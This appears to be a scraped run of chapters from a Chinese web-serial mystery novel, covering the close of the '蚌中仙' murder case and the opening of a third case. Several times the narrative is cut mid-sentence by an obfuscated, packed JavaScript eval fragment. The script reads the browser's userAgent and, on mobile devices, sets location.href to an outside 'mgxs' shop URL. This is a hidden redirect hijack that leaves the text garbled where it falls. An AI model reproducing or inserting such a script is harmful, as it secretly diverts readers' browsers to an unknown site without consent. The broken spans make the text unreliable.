鸢楚一拍大腿道:“哎呀,我这不也是关心则乱嘛,深夜求医,的确不妥。”她指挥沉月和小菩,“你们进屋歇息,明日再去寻医吧。”然后她又转过头,对着万仙和王博多道,“两位公子也别在这走廊里枯站了,我们簪翠台里有的是美酒佳肴,小女陪两位公子喝上一壶如何?” “我觉得这提议挺好。” 回答鸢楚的不是万仙也不是王博多,而是雾山角。 此刻,风尘仆仆赶回来的他,手里提溜着一个精瘦的老头。 他将老头丢在地上,对鸢楚说:“不过在喝酒之前,先让他认认人。” “他是谁?”王博多问。 “他是那日接送龚繁麟和‘蚌中仙’的船夫。” 说罢,雾山角转头,言简意赅地将刚刚在湖畔发生的事低声告诉了万仙。 万仙了然地颔首,就听雾山角继续对鸢楚道:“今晚我带这船夫来,是想让他认一认那日在碎星湖上为龚繁麟扮演蚌中仙的人。还请鸢楚姑娘把小月姑娘叫出来。” 鸢楚的眼睛耷拉了下来,弱声问道:“沉月?” 雾山角点点头。 鸢楚一脸为难,但这时,厢房的门重新打开了。 刚刚进里屋安顿下小菩的沉月站在了门口,目光直直地看向众人。 船夫蔡大富瞧见她那张清秀的脸庞,立刻伸出手指,指向她。 “就是她,就是她,那日给龚公子扮演蚌中仙的,就是这个小姑娘!” 雾山角闻言,走到沉月身前,道:“沉月,是你杀了龚繁麟?” 沉月低垂着双眸许久,最后才嗫嚅道:“是我。是我杀了龚公子。” “那请你跟我去衙门走一趟。” 沉月颔首,轻轻说了一声“好”。 雾山角作势要押送沉月回去,结果这时,他瞄到万仙突然轻轻地笑了一下。 这家伙在笑什么? 雾山角朝万仙望去。而这时的万仙已经收起了笑容。 “雾山兄,你可别被这船夫骗了。”万仙道,“那日去当蚌中仙的,根本不是沉月。” 船夫轻蔑地看着万仙,阴阳怪气道:“那日是你在场,还是我在场?是你看到了,还是我看到了?真是好笑!虽然我老了,但还不至于老眼昏花到认错人!大人……”他转头对雾山角作揖道,“小的那日送去碎星湖上的,就是这位小月姑娘!我没必要现在还弄虚作假,还请大人明察啊!” 蔡大富言之凿凿,那副模样,怎么看都不像是在撒谎。雾山角不懂为何万仙不相信这证人的口供。 “万仙兄,若那日去当蚌中仙的不是沉月,还能是谁?”他好奇地问道。 万仙没急着回答雾山角的提问,而是转头问船夫:“沉月可是事发前几日来找的你?” “是的。她主动找到我,说想当蚌中仙,赚点钱财,还说要与我对半分钱呢。” “她当时可是这副模样?”万仙拿折扇指了指沉月。 蔡大富立即道:“就是这副模样啊!” 万仙继续问道:“事发当日,她也是这番毫无遮掩的样貌?” 蔡大富一回忆,脸颊瞬间抽动了一下。 “那日她戴了面纱……但这很正常,有些娼妓为了取悦客人,故作神秘,会戴上面纱进入蚌壳之中的。”蔡大富解释道,“但面纱之上的眉眼,我看得可是清清楚楚,就是这位姑娘!” “面纱遮挡,只留眉眼,你真能断定那人一定是眼前这位沉月姑娘?”万仙看到蔡大富露出一丝迟疑的神色,继续道,“我想,她上岛那日没同你说过话吧?” 蔡大富又回忆了一下,然后再次露出惊讶的神情,道:“你怎么知道?” 万仙无奈地笑了笑。 此刻,无需他再多言,在场的众人便都知道,他推理出来的凶手究竟是谁了。 “所以杀死龚繁麟的凶手,是沉月的阿弟,小菩?”王博多道。 万仙点了点头。 沉月激动起来:“你凭什么说小菩是凶手?就凭我那日戴了面纱,没有说话?我戴面纱是为了取悦龚公子,不说话也只是故作神秘罢了。我已经认罪,你们就不要信口雌黄,冤枉我阿弟了!” 万仙摇了摇头,道:“春夏秋冬四姊妹为何连番自首?一开始,我们以为她们是为了保护鸢楚姑娘。于是我们对鸢楚姑娘那日下午的行踪展开了调查,发现她不可能去碎星湖上杀人。与此同时,我们对四姊妹当时的行踪也展开了调查,发现夏秋冬三人也不可能杀人。那么就剩下阿春在那日下午的行踪未明了。她说自己杀了龚繁麟这件事是真是假? “如果她的证言为真,她已在监牢,晾她也逃不了。 “如果她的证言为假,那么说明四姊妹是在保护簪翠台的其他人。除了鸢楚姑娘和死去的于梦梦,簪翠台就剩下她们收养的孤儿们了。 “可是,如果是某个孩子扮演蚌中仙,杀了龚繁麟,为何她不逃跑呢?为何要春夏秋冬四姊妹出来替她顶罪呢? “再者,若是真心要替某个孩子顶罪,四姊妹何必搞得如此复杂,各个出来自首,直接让那日下午行踪最不明的阿春出来不行吗? “由此可见,她们并不是真心想要顶罪,而是为了扰乱我们的调查,拖延时间。因为簪翠台有个人想跑也跑不了。那个人卧病在床,需要一点时间恢复体力。他便是沉月的亲阿弟,小菩。 “即便有此推测,我也无法直接指认他为凶手,因为没有人证也没有物证。我只能跟王博多将身体略有好转,即将落跑的小菩和他的阿姐沉月一起堵在簪翠台里,以便之后对他们继续调查。 “不过现在好了,原本消失的船夫出现了。小师爷将他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068419|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逮了过来,指认凶手为沉月,我便能彻底断定,小菩就是凶手……” “为何只要船夫指认沉月,就能推出小菩是凶手?”雾山角仍是不懂。 万仙“啪”地打开自己的折扇,缓缓扇着风道:“那自然是因为沉月是不可能行凶的。或者说,她不敢行凶。” 王博多其实也听不懂万仙在说什么,但是他一直配合地点头,一副若有所思的模样,等着万仙解开谜底。 万仙不疾不徐道:“龚繁麟是被发簪戳死的。除了喉咙处的致命伤,他身上还有五处血洞。五个血洞清晰分布,绝不是谁一气之下胡乱戳出来的。也不可能是谁闭着眼睛,随便戳出来的。那凶手必定握着发簪,准确无误地留下了这些血洞。可是沉月,你害怕尖锐之物,对吗?” 沉月猛地抬头,震惊地看着万仙。 万仙不等她开口,继续道:“我们第一次见到你时,小菩正在做针灸治疗。鸢楚姑娘拔出针后,把针递给了另一个小男孩。她为何不直接让你做下手,来递取那些针呢?因为你不敢看到那尖锐的针头!当时,你握着小菩的手,撇过头去,也是因为这个原因。” 雾山角也回忆起了当时沉月的模样,她的确一直撇过头。 这时,万仙又对沉月道:“细尖的针你害怕,那么发簪这样粗大的‘针’你怕吗?” 沉月死死咬着嘴唇不回答。 但王博多嚷了起来:“她怕的!当时阿春摘下发簪,说她用发簪杀了龚繁麟,并刺向仙儿哥的时候,沉月也是一直撇着头或者低着头的!” 万仙颔首肯定道:“这般害怕尖锐之物的你,是不可能有条不紊地拿着发簪在龚繁麟身上戳下六个血洞的。所以在船夫指认你为凶手,并扬言他准没看错后,我立马断定,凶手就是与你有血缘关系,容貌上自然与你有几分相似的小菩。因此,我也就能顺理成章地猜到,那日上岛的蚌中仙戴了面纱且不发一语。男扮女装作案者,定是不敢暴露全貌和声音。而小菩之所以生病卧床,恐怕也不是感染风寒加上见到于梦梦上吊惊吓过度吧?他是因为在碎星湖上潜水逃走时,身体受了凉,加上杀完人后紧张过度,才导致身体抱恙的吧?” 听完万仙的推理,沉月徘徊在眼眶的泪水终于流了出来。 “是的。”她声音凄凉地承认道,“那日上岛杀死龚繁麟的,的确是小菩。但各位大人,这一切都是我指使他这么做的。” “不是的,各位……咳咳……各位大人……”一直在里屋偷听的小菩终于现了身,他虚弱地扶着门框,气若游丝道,“这一切都是我计划的,跟我阿姐没有关系,是我逼阿姐去找这位船夫,也是我逼她帮我穿上梦梦姐留下的衣裳,喷上鸢楚姑娘送给梦梦姐的花露,再戴上面纱去找龚繁麟复仇的。当然,阿姐害怕尖锐之物,所以阿春送给梦梦姐的发簪,是我自己插到头上,当做凶器带到岛上的。我本想杀完人后,趁船夫还未发现尸体,就和阿姐一起逃走的。结果没想到,我从碎星湖游上岸,就晕倒了。阿姐不得以把我拖回了簪翠台……” 万仙看向沉月。想必那时,她应该很担心船夫在发现尸体后报案,带人前来捉拿他们吧? 那时她就想好了替弟弟顶罪吗? 可是船夫因为和宁夫人早有交易,案发后主动消失不见了。 所以阴差阳错的,他们以为自己有了瞒天过海的可能,直到小师爷带人上门调查。 “所以你是在给于梦梦复仇?”万仙无奈地问小菩。 “我不止想为梦梦姐复仇,我还要为去扮过蚌中仙的阿春、阿夏、阿秋、阿冬和鸢楚姑娘复仇。”小菩凄惨地一笑,道,“所以我才数着数,杀了龚繁麟六次!” “小菩……”鸢楚发出了悲痛的尖叫。 小菩悲伤地对鸢楚说道:“之前你们去给龚繁麟扮蚌中仙,回来后各个眼眶泛红,心情沮丧,这一切我都看在眼里。我知道一定是他欺负了你们,才让你们如此伤心难过。而且他还逼得梦梦姐上吊自杀……这禽兽,死不足惜!死不足惜啊!” 鸢楚听到他恶狠狠地呐喊,颓然地垂下了肩膀。 万仙看着她,道:“鸢楚姑娘,你不说点什么吗?” 鸢楚的肩膀剧烈地颤抖起来,却不发一言。 万仙看着声嘶力竭的小菩,哀叹道:“小菩,恐怕你想错了……” “想错了什么?”小菩不解地歪了歪头。 “你想错了龚公子的为人。” 24.第二案:蚌中仙09 听到万仙这样说,王博多跟小菩一样困惑。 雾山角也眉头紧蹙,眼里殊无笑意:“万仙兄,你这是何意?你认为龚繁麟是个好人?” “你还没发现吗?这簪翠台里,皆是重情重义的女子。她们以姐妹相称,会共享花露,使用同一款式的发簪,收留温饱都成问题的孤儿,也会为了保护一个孩子,不惜得罪官府,串通一气……若龚繁麟真的龌龊至极,她们又怎么会让姐妹接二连三地为他扮演蚌中仙呢?”万仙道,“诚然四姊妹久经历练,可以为了钱财,在面对无耻之徒时忍气吞声。但我觉得,她们一定不会让从未接过客的姑娘——于梦梦,第一次接客就面对下流至极的客人。” “所以阿春之前说龚繁麟无所不用其极地玩弄女人是在撒谎?”雾山角问。 万仙再次点了点头。 “你有没有发现,四姊妹在叙述与龚繁麟有关的事情时,一直称他为龚公子?”万仙道,“她们既不会像我们一样直呼龚繁麟的大名,也没有因为痛恨他而给他取下流的绰号。我想她们是下意识地尊敬他,所以一直唤他为龚公子。” 经由万仙的提醒,雾山角仔细回想了一番,确实如此。 而王博多越听越糊涂了:“所以龚繁麟在碎星湖上到底干了什么?” 万仙再次把目光投向鸢楚:“鸢楚姑娘,如果我刚刚说的是对的,你现在可否还龚公子清白?” 鸢楚扯了扯嘴角,对着小菩哭道:“是的,小菩,你误会了。龚公子请我们去岛上,只是同我们聊天,并未行那下流的勾当。所以阿春姐才会推荐其他姐妹们去给他扮蚌中仙,我们才会同意于梦梦第一次接客就去碎星湖。” “怎么可能!”本就虚弱的小菩,震惊地快要摔倒在地。 鸢楚悲伤道:“其实我们也不懂龚公子为何费尽心思来碎星湖,找蚌中仙,却只同我们聊天。我们甚至怀疑,他那方面不行呢。但谁都懒得去追问缘由。毕竟这世上本就有各种各样奇奇怪怪的客人,我们得见怪不怪。而且只需同他说说话,聊聊自己的人生经历,便能获得足够的报酬,我们开心还来不及呢。” “可是你们回来,为何都眼眶泛红,心情沮丧?”小菩不解地问。 “我们干这行的,谁不是生活所迫,被逼无奈?谁没有点心酸的过往?龚公子善于倾听,也善于提问。他简单几句,就能将我们的心事全部引出来。虽然提及自己经历过的苦痛,我们难免沮丧落泪,但我们心里,又都在感谢龚公子能听我们哭诉衷肠……” “可是梦梦姐上吊自杀是怎么回事?”小菩像是在抓救命稻草似的嚷道,“我看那龚繁麟最后肯定还是按耐不住好色的本性,玷污了梦梦姐,所以才逼得她自缢!” “不是的。梦梦扮蚌中仙回来后,阿春还去问过她。她说,她在碎星湖上的经历,跟我们是一样的。只是,龚公子同她聊天,让她回忆起了自己的过往。曾经她也是大家闺秀,如今却因生活所迫要去当一名娼妓,如此落差,令她难过至极。但当时,我们都以为她可以克服这份难受的,因为我们也是这样熬过来的。可是有些人,她就是这么脆弱……不!”鸢楚自顾自地摇头道,“梦梦她不是脆弱,她是有她自己的追求。” “追求……”小菩呢喃着这两个字,思索着。 鸢楚抹了抹脸上的泪水,跟小菩道歉道:“对不起,小菩,我们让你误会了。” “怎么会这样……”沉月听完鸢楚的话,也跟着痛哭起来,“怎么会这样!我和小菩一直以为你们在碎星湖被龚公子伤害,所以才想要替你们,替梦梦姐复仇……这一切怎么会是误会!怎么可以是误会啊!” 这时,万仙又开口,道:“鸢楚姑娘,我还有个问题。你们是何时知道,小菩杀了龚公子的?” “那孩子杀完人后,从碎星湖游上岸,冻得发了烧,奄奄一息地被沉月拖回了簪翠台。我们很是诧异,追问他们到底发生了什么。沉月一开始不肯说,我便表示,若我不知道小菩为何犯病,就绝不为他医治。无奈之下,沉月告诉了我,他们犯下的错。那时,这两个傻孩子还不敢处理扮蚌中仙的衣物,甚至那杀人的发簪,也被他们给带了回来。我和姐姐们吓坏了,问他们为何要杀龚公子。得知他们是为了替我们复仇,我们五味杂陈地沉默了许久……” “姐姐,直到刚才,我都以为我们做了正确的事……”小菩虚弱地问道,“为何我杀完人后,你们仍不告诉我们,我们误会了?“ “那时告诉你们,你们会崩溃的呀!”鸢楚有些生气道,“谁能接受自己阴差阳错,杀了一个无辜的人?!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073839|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“于是你们就决定帮助沉月和小菩逃走?但是因为小菩病得不轻,所以四姊妹不得已连番自首,为他拖延时间?”雾山角沉着脸道,“这个时候,你们为何不念及龚公子的好了?他何其无辜,当了个冤死鬼!你们不仅不为他伸冤,还要纵容凶手?!” 鸢楚道:“我们这些经历过世事的女子,人生唯一的目的便是活下来,只要能活下来,我们就什么都愿意去做。龚公子已经死去,人死不能复生,但沉月和小菩年纪还小,我们不想让他们就这么被处死!所以我们在确认船夫莫名其妙失踪,无法指认他们后,商量了一下,决定若衙门的人上门调查,就实施拯救他们的计划! “春夏秋冬四位姐姐,虽然自首了,但她们其实都有不在场的证据。若你们再花时间,继续查下去,就会发现,阿春姐也是有证明的。她那天出城给沉月寻好夫家去了……阿春姐其实一直都在为堂里的孩子寻出路。以前她说我们可以靠自己养活自己,可是梦梦的事发生后,她又不太确定了。她觉得,如果可以,还是让那些孩子嫁人吧……可是哪个‘好人家’会要簪翠台里出来的孩子?” 鸢楚对着万仙苦笑道:“说实话,我以为我们的计划会成功的。没想到,万仙公子竟如此聪慧过人,活生生在浪费掉时间之前,堵住了沉月和小菩落跑的路。我们的确对不起龚公子,但是我们知道沉月和小菩的心肠并不坏,我们不想让他们死啊……” “他们杀了人了,心肠还不坏?”王博多气愤地嚷道。 而门口,一直用手撑着身子的小菩突然剧烈地咳嗽起来。 接着,“噗——”的一声,一口鲜血从他口中喷出。 红色的血水如曼陀罗华在半空中绽放,洋洋洒洒地和小菩的身体一起落在了地上。 “小菩!”沉月和鸢楚赶紧冲过去,将他扶起。 小菩气息奄奄地被两人架着,痛苦地流出了眼泪。 “对不起姐姐们,对不起龚公子,我没想到事情是这样的,是我太自以为是了……” “小菩!”沉月发出撕心裂肺的尖叫声,然后焦急地恳求道,“鸢楚姐姐,求你救救他!万仙公子,求你救救他!各位大人,求你们救救他啊!” 可是她再怎么乞求也无济于事,因为小菩已经垂下了脑袋,溘然长逝了。 25.第二案:蚌中仙10 今日刮起大风,龚家院子里的花被风吹落了。风停后,宁婉莹挺着大肚子,走到花丛边,蹲下来,拾起了一片花瓣。 去端茶点回来的丫鬟见到她如此大的动作,吓得把托盘一丢,冲过来扶住她,道:“夫人,小心身子。” 宁婉莹低头轻笑一声,端详着手里的花瓣,道:“这是繁麟最喜欢的花。” 丫鬟不知如何接话,只能将她扶到大堂的椅子上坐下。 “夫人吃点点心吧。”她看着宁婉莹放下花瓣,拾起一块糕点,才松了口气地转移话题,“夫人,我最近在门外经常看到衙门的差役,他们是不是在保护夫人啊?其实咱们老爷不应该对官府的人有那么大的成见的,他们看上去人都还挺好的,尤其是上次来的那位小师爷……” “我看你是爱慕人家小师爷英姿飒爽吧?”宁婉莹调笑着摇了摇头。 丫鬟见她还能开起玩笑,心里的担忧便轻了几分。 然而她不知道的是,门外之所以有衙门的差役巡视,是因为他们怕宁婉莹逃跑。 由于宁婉莹怀有身孕,所以雾山角并没有立即将她投入大牢。他说待她生完孩子,再给她惩罚。所以她现在其实是被软禁在家中。 宁婉莹扶了扶肚子,一边吃着糕点,一边想着今后的事,出了神。 不知过了多久,下人禀报小师爷来了,她才重新回过神来。 同小师爷前来的还有万仙和他那位副手王博多。 宁婉莹让下人和丫鬟都退下,独留自己应付他们。 “宁夫人,龚老爷最近身体可还好?”万仙率先问道。 “公公虽卧病在床,但已有好转,感谢公子关心。”宁婉莹道,“公子今日前来,定不是想与我寒暄这些吧?你直接开口便是。” 万仙颔首道:“小师爷已经将你买凶杀夫的事告诉了我。听说你察觉到他去碎星湖上找‘蚌中仙’,气愤之下,才萌生了杀害他的念头?” “这其实只是一部分原因。”宁婉莹将手搭在自己的肚子上,“更重要的原因,万仙公子想必已经猜出来了吧?” “你是为了肚子里的女儿?”万仙扇着扇子,缓缓道,“你的丈夫是在得知你肚子里的孩子很可能是女儿后,才去碎星湖上找的蚌中仙。你觉得他是不喜欢女儿,所以迫不及待要与别的女人生个儿子?” 宁婉莹觉得万仙的话十分刺耳,但她还是硬着头皮听了,也硬着头皮承认了:“是的。我既气愤他拈花惹草且隐瞒我,又担心他有这样的计划……若他真生了个儿子,我这肚子里的女儿,以后怎么会受到龚家的重视?我现在杀了他,我肚子里的孩子就是龚繁麟唯一的骨肉,龚家唯一延续的香火,无论他是男是女,龚家都必须疼爱有加。” “可是宁夫人,你想错了。”雾山角说。 宁婉莹困惑地皱起眉头。 万仙扫了王博多一眼,王博多心领神会地扶住了宁婉莹:“夫人请坐,还请你为了肚子里的孩子不要激动。” 宁婉莹十指相扣,握了又握,终于吐出一口气:“各位不用担心,我撑得住的。” “好。”万仙缓缓道,“我们已找到了真正杀害你丈夫的凶手。” “哦?她是谁?她为何要杀了他?” “夫人莫急,听我慢慢说来。” 于是万仙慢慢讲述起簪翠台的沉月和小菩因误会杀人的过程。随着事情的真相一点点托出,哀伤的气氛便如那落花一样,落在了龚家。宁婉莹的神色也随着真相的浮现,从不解到震惊再到困惑。 末了,她双手紧紧地抓着椅子的扶手,颤抖地问道:“繁麟他为何要去碎星湖上同那些娼妓聊天?” 万仙看着宁婉莹,道:“龚公子之前不是同你说,他出门是为了找灵感吗?我想他并没有骗你。” 宁婉莹皱眉,不可思议道:“他真想学你写书?” “我想应该是的。”万仙说,“正如第一次见你时你所说的那样,龚公子恐怕是想学我写书。他不善于编造故事,却善于提问和倾听,容易让人同他推心置腹。所以他决定,既然自己编不出故事,就把别人的叙述写下来。” “他为什么要记录那些娼妓的故事?” “因为去做蚌中仙的女子,每个都有心酸的往事,不易的人生。他想要让世人读到这些女子的困境与痛苦,让天下人能善待女子。”万仙悲悯道,“龚老爷的母亲,曾经历过非礼案,无人为她伸冤,导致龚老爷至今不信官府。而这事,想必龚公子从小就听过。他从小就同情那位被诬告的无助女子,也就是他的奶奶。 “后来他生了病,而你被卖到了龚家为他冲喜,更是令他难受、羞愧。明明龚老爷经历过母亲的挣扎与痛苦,却在发家致富后,忘记了女子的不易,不顾你的感受,就联合你的父母逼你嫁给他这个病秧子,这让他也开始同情你。所以洞房花烛夜,他才会要你逃走。可是阴差阳错的,你没有走。不仅如此,你们两个还因那一夜的相处而相爱至今,有了孩子。而落子观的老法师算出来,你肚子里的孩子是个女孩。初为人父的他,担心你们的女儿,之后也会遭遇类似的属于女子的困境,所以他想写书,提醒世人,要更善待和尊重女子。 “这世上有无数苦女子,碎星湖上被迫成为蚌中仙的娼妓,只是其中一部分。可惜的是,龚公子还未搜集到其他女子的经历,他就因误会,被人杀害了。而且,他的妻子也误会了他,甚至还想买凶杀他。” 宁婉莹错愕地张了张嘴,好不容易憋出一句话:“他为什么不直接告诉我?” “也许是因为他也吃不准自己是否真的能写书出书,所以不好意思提前告诉你。抑或他想等书写成后给你个惊喜,让你知道他十分爱你和你们的女儿。更或者,他只是单纯不想让怀孕的你多想吧?”万仙说,“你只是误以为他寻欢作乐,就买凶杀他,可见你多容易剑走偏锋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“可是当时,龚公子用自己的善良,暂时救下了自己的性命——虽然你一直对他这份善良抱有怀疑。”万仙再次巧妙地顿了顿,才道,“宁夫人,你觉得,龚公子那时是否知道你要杀他?” “他当然不知道!”宁婉莹说着说着,露出迟疑的神色,“你什么意思?你是说他其实知道我当时想要杀他?所以他如今才害怕我又走极端,不敢同我坦白他想去了解娼妓的人生?他凭什么这么想我?凭什么觉得我不能理解他?又凭什么认为自己写下那些女子的困苦经历,就能救其他女子?他以为自己是谁啊!他才是那个自以为是的人吧?!说到底,他也不过是出于私心,为了自己的孩子,所以搞这些花样!别给我惺惺作态,装什么正人君子了……更或者,他才不是为了写书去的碎星湖,他不过是喜欢看那些女孩子哭哭啼啼罢了!一定是这样的!一定是这样的……所以他活该被杀!活该啊!!!” 宁婉莹发了疯地哭喊着,然后痛苦地捂住了肚子,尖叫起来。 那声音凄厉、悲怆,比尖利的指甲划过桌面还要令人汗毛直立。 就在这时,他们一起发现了宁婉莹的异状——羊水正一点点地顺着她的大腿流到了地上。 “快叫产婆来!”他们大喊起来。 一时间,龚家人声鼎沸,众人手忙脚乱…… 26.第二案:蚌中仙11(案终) 那天晚上,宁婉莹诞下了她和龚繁麟的孩子,是一个肉嘟嘟的可爱女孩。 听到婴儿响彻天际的哭泣声,一直在屋外等待的万仙三人终于松了口气,安心地离开了龚家。 雾山角仍让差役盯着龚家。因为他要等宁婉莹出了月子,身子好转后,将她逮捕归案。 而在宁婉莹做月子期间,万仙和王博多一同去了落子观。 他们找到了当初预言宁婉莹肚中孩子是个女孩的老法师。 那老法师留着长长的白胡子,脸上堆满皱纹和慈祥的笑容。 “施主,今日前来是为何事?”未等万仙开口,他便直接开口问他们。 万仙和王博多赶紧合掌弯腰,道:“师父,我们此次前来,是想问一下,您是如何预测怀孕女子肚子里胎儿的性别的?” “哦?你也是来问龚公子的事?” 王博多瞪了瞪眼睛道:“还有别人来问?该不会是……” 他和万仙已经猜到另一个人是谁了。 他们顺着老法师伸出手,向不远处望去,果不其然看到了一袭黑衣的雾山角。 此刻,雾山角正蹲在一个花坛边,逗弄一只通体黑色的小猫。他浑身上下散发着柔和的气息,与查案时判若两人。就连此刻横搭在他的大腿之上不忍剑,竟也仿佛暂时收敛了锋芒。 反倒是那只黑色小猫,调皮捣蛋,一直抬起爪子想要抓他,却被他快速闪躲开来。于是小猫不懈地抬爪,雾山角不懈地躲着,二者不停地重复着这个无聊的动作。 真是很倔的猫和很倔的人呢。 万仙收回了目光,心中嗤笑一声,嘴上却拽回了话头:“所以师父,您是如何预测孕妇胎中孩子的性别的?” “我可没有这本事。”老法师笑了笑,“那日龚公子和夫人一同前来祈福,我瞥见龚公子同一名施主的女儿玩得欢乐,所以就顺他的喜好告诉他,夫人怀的也是女儿。” “你不怕自己说的预言错了?”王博多问。 “喜得贵子,无论男女,都是乐事,错了便错了呗。”老法师继续抚着白胡子,不疾不徐道。 正说着,他的一名小徒弟蹿到了他身旁。 “师父,你又在坑蒙拐骗吗?”他故意作弄老法师,朝着他的大腿左戳戳右戳戳。 老法师佯装生气,嚷着“你休要胡说!”,追着他跑走了,留下万仙和王博多站在原地面面相觑,一阵汗颜。 这时,雾山角听到声响,朝他们这边望过来。 见到是万仙和王博多,他终于放弃了逗猫,疾步到了他们面前。 “你们也是来询问龚公子的事?”雾山角问万仙,“可与你猜得一样?” 万仙颔首默认。 雾山角又道:“龚公子未能成书,就被人杀害,实在是可惜至极。万仙兄,你笔力深厚,或许可以帮他写一本让世人知晓女子困境的故事?” “我们仙儿哥自然有这个打算,对吧,仙儿哥?”王博多如同藤蔓,有杆就爬,怂恿万仙道,“仙儿哥,你好久未动笔了,也该写点了吧?你可要记得,这凌洛城,也有很多像龚公子、像我一样的人,在期待你的新作呢!” 万仙又头疼又无奈地呲了呲牙。 雾山角见状,也不由地勾了勾嘴角。 王博多则继续嚷嚷:“再说了,小师爷都开口了,仙儿哥,你总不能不写了吧?经历了此案,小师爷肯定也成了你的仰慕者,对不对呀,小师爷?” “我承认你仙儿哥的确有点本事。但要说崇拜……”雾山角抬了抬眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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因为凌洛城里又发生了命案…… 27.第三案:魔再现01 视线前方,一片幽暗的森林映入眼帘。浓稠的黑暗如贪婪的巨兽,吞噬了所有光线,只留下一片令人毛骨悚然的死寂。 忽然,雾气弥漫,夜鸟悲啼,鬼影幢幢,仿佛有无形的存在在黑暗中窥视。 不知过了多久,眼睛终于适应了这片漆黑。不远处,一座孤坟隆起,坟边飘洒着白色的纸钱,却不见墓碑,显得格外诡异。 须臾,坟上的泥土开始松动,竟颤颤巍巍地抖动起来,仿佛有什么东西正从地底挣扎而出! 突然,一只半化为白骨的手,连带腐烂的皮肉,从坟中猛然伸出! 瞳孔因这骇人的画面骤然收缩,视线随身体后移,却仍清晰地瞧见那白骨破土而出的可怖景象! 目光倏地转移,却在下一刻再度收紧,愣住。因为眼前又出现了一具尸体!只是相比那半白骨半腐肉的怪物,他更像一个“人”。 他的尸身并未腐烂,黝黑粗犷的面容上留着一道狰狞的刀疤,显得凶悍而阴冷。他的躯体被埋入土中,脑袋却如竹笋般冒出地面,诡异至极。 此刻,他脸色惨白,双眼紧闭,嘴巴却大张着——他不得不张着嘴,因为口中塞着一朵曼陀罗华。 血红色的花在他嘴里开得艳丽夺目,妖异的花瓣与尸体的惨白形成鲜明对比,令人不寒而栗。 突然,曼陀罗华微微颤抖。视线不自觉地往上移去,只见那具已无气息、被当作“花瓶”的尸体,竟猛然睁开了眼睛! “呃!” 梦中尸体睁眼的刹那,雾山角从床榻上惊醒。他感觉四肢百骸如被烈火灼烧,背后冷汗涔涔,浸透了衣衫。 看来,身上的烧还未退去…… 该死的! 他在心中咒骂自己,脑海中却清晰地浮现出方才的梦境。梦的前半段,那无碑孤坟中爬出的鬼影,他从未在现实中见过。然而,那口中塞花的尸体,却是真实存在的。 昨日,他亲眼目睹那人被杀害,身体被埋入土中,仅留脑袋露于地面,口中被塞入一朵曼陀罗华。 他被做成了一个人形花瓶! “可是,师父……爱做人形花瓶的凶手,当年已经被我亲手杀死了啊……”雾山角低声喃喃,语气中满是不可思议,“难道那恶魔从坟墓里爬回人间作乱了?” 【第三案:魔再现】 白日的凌洛城熙熙攘攘,人群如倾洒的黑芝麻般密密麻麻。此时,一抹矫健的身影灵活躲闪,腾挪自如地避开人群,穿梭在喧嚣的街巷之间。 “博多少爷,你等一等,能帮我带封信给万仙公子吗?”人群中突然蹿出一个少女,将一封信不由分说地塞到王博多的手里。 王博多见怪不怪,把信往衣服里一塞,正要同那女孩说些什么,就见一男子拎着一条硕大的鲫鱼朝他奔了过来。 “王博多,王博多,我钓的这条鱼你带去给万仙公子。多亏了万仙公子,不然我就倾家荡产,去买那一幅赝品了。”那男子啧啧称奇道,“万仙公子真是慧眼识真,那做假画的人模仿宫廷画师墨青洲的《春景论道图》,已经到了出神入化的地步。结果万仙公子居然在那么多线条里,仅凭一条画歪的线就判断出那是幅赝品,救了我全家的性命!在下万分感激啊!” 王博多抬手止住他,道:“仙儿哥说了,那不过是举手之劳的小事,无需酬谢。这鲫鱼你拿回家炖了吃吧。” 那人不好意思笑道:“其实我还有件事想拜托万仙公子,我最近又听人说,墨青洲有新画从宫中流出……” 王博多汗颜道:“仙儿哥之前不跟你说了吗?就你这眼力,以后别再想着赌博似的押宝来历不明的画作了。” “哎呀,就请万仙公子再帮我看一次呗。” 王博多赶紧拒绝:“近来寻求仙儿哥帮忙的人太多了,所以我们暂时什么差事都不接了。” 说完,他一个闪身跑出去老远,把男子那句“欸,不接你也把这鱼带回去啊”甩在了身后。 自从“蚌中仙”一案被万仙书写成话本小说出版以来,凌洛城中仰慕万仙者如雨后春笋般越冒越多。万仙走在路上,都有人拿着书冲过来,掏出准备好的笔墨,让他当场挥毫题字。 作为万仙的话本经纪,王博多也沾了点光。他替万仙谈了几个不错的说书权,赚了不少银两,让那些不识字的百姓,也“读”到了万仙的新书。说书人们一开始心疼花出去的钱,后来见到慕名而来的听众越来越多,顿觉这钱花得值当,于是争先恐后地跟王博多预定:“万仙下一本书的说书权,可得独家卖予我!” 王博多说以后的事情以后再说,然后把尾款一收,喜滋滋地走了。这还是他第一次靠自己赚到钱,虽不及他从父母那里“搜刮”得多,却足以让他挺直了腰板回家,扬言以后再也不花父母一分钱。 “当真?”王老爷闻言,眉眼一挑,问他。 王博多嘿嘿一笑,补上二字:“尽量。” 